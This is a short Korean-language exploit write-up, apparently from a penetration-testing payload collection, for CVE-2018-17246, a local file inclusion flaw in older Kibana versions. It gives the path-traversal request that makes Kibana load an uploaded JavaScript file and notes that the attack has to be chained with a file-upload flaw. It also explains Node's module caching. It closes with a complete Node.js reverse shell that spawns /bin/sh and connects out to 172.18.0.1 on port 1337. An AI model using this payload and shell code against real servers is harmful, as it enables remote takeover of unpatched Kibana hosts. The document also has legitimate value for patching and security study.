
CVE-2018-17246 - Kibana LFI < 6.4.3 및 5.6.13
CyberArk Labs](https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/)에서 발견한 Kibana의 로컬 파일 포함(Local File Inclusion) 취약점입니다. 이 LFI를 사용하면 다음 페이로드로 Kibana 서버에서 리버스 셸을 실행할 수 있습니다.
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../path/to/shell.js
이미 짐작하셨겠지만, 이 공격은 제한 없는 파일 업로드나 서버에 파일을 쓸 수 있는 다른 취약점과 함께 사용해야 합니다.
입력 검증이 없으므로 JavaScript 파일의 이름을 원하는 대로 변경할 수 있습니다. 이 경우 경로 탐색(Path Traversal) 기법을 사용하여 Kibana 서버의 모든 파일을 선택할 수 있습니다. 그러나 주의해야 할 점은 Node의 모듈 캐싱 기능입니다. 본질적으로 LFI가 사용자 입력을 검증 없이 Node의
require함수에 전달하여 작동하기 때문에, 포함된 모듈(공격자의 페이로드)은 파일 이름별로 캐시됩니다. 즉, 동일한 페이로드를 보내 리버스 셸을 복구하는 등의 작업을 할 수 없습니다.

취약점 세부 정보: https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
보안 권고: https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();